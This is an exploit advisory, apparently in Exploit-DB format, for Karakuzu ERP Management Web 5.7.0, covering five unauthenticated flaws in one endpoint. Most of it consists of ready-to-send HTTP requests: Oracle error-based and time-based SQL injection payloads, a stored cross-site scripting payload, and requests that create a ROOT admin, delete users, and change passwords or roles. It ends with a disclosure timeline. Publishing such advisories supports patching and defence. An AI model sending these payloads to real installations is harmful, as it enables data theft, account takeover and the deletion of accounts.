Karakuzu ERP Management Web 5.7.0 - 'k_adi_duz' SQL Injection

# Exploit Title: Karakuzu ERP Management Web 5.7.0 - 'k_adi_duz' SQL Injection
# Discovery Date: 2019-09-20
# Exploit Author: Hakan TAŞKÖPRÜ
# Vendor Homepage: http://karakuzu.info/
# Effected Version <= 5.7.0

Vulnerability #1: Unauthenticated SQL Injection
==================================================

Type: Error-based
Title: Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
Payload: k_adi_duz=USERNAME' WHERE 4964=4964 AND
1355=CTXSYS.DRITHSX.SN(1355,(CHR(113)||CHR(118)||CHR(118)||CHR(113)||CHR(113)||(SELECT
(CASE WHEN (1355=1355) THEN 1 ELSE 0 END) FROM
DUAL)||CHR(113)||CHR(120)||CHR(118)||CHR(118)||CHR(113)))--
DhDH&k_yetki_duz=USER&kullanici_duzenle=

Type: Time-based blind
Title: Oracle AND time-based blind
Payload: k_adi_duz=USERNAME' WHERE 8074=8074 AND
6437=DBMS_PIPE.RECEIVE_MESSAGE(CHR(122)||CHR(90)||CHR(65)||CHR(88),5)--
VuHD&k_yetki_duz=USER&kullanici_duzenle=

POST /TARGET_PATH/netting/islem2.php HTTP/1.1
Host: TARGET
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

k_adi_duz=[HERE]&k_email_duz=[HERE]&k_grup_duz=[HERE]&k_yetki_duz=[HERE]&k_sifre_duz=[HERE]&kullanici_duzenle=
Description: k_adi_duz, k_email_duz, k_grup_duz, k_yetki_duz and
k_sifre_duz parameters are injectable/vulnerable.

Vulnerability #2: Unauthenticated Stored Cross Site Scripting in User
Management Panel
=======================================================================================
Description : An attacker can stole an admin’s cookie.
POST /TARGET_PATH/netting/islem2.php HTTP/1.1
Host: TARGET
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

k_adi=VULN_USERNAME&k_email=VULN+EMAIL" onfocus="alert(1)"
autofocus="&k_grup=TEST&k_yetki=ROOT&k_sifre=PASSWORD&kullanici_kayit=

Vulnerability #3: Unauthenticated Creating Admin User
======================================================
Description : An attacker can create an admin or normal account.

Request:

POST /TARGET_PATH/netting/islem2.php HTTP/1.1
Host: TARGET
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
k_adi=VULN_USERNAME&k_email=VULN+EMAIL&k_grup=TEST&k_yetki=ROOT&k_sifre=PASSWORD&kullanici_kayit=

Vulnerability #4: Unauthenticated Deleting User
=============================================
Description : An attacker can delete an admin or normal account.

POST /TARGET_PATH/netting/islem2.php HTTP/1.1
Host: TARGET
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

kullanici_sil=k_adi_duz=USERNAME_TO_DELETE

Vulnerability #5: Unauthenticated Editing User
===============================================
Description : An attacker can change a user’s password or role(e.g ROOT).
POST /TARGET_PATH/netting/islem2.php HTTP/1.1
Host: TARGET
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
k_adi_duz=USERNAME&k_email_duz=VULN+MAIL&k_grup_duz=GROUP&k_yetki_duz=ROOT&k_sifre_duz=NEW_PASSWORD&kullanici_duzenle=

### History
=============
2019-09-20  Issue discovered
2019-11-19  Vendor contacted (No response)
2020-01-03  Issue published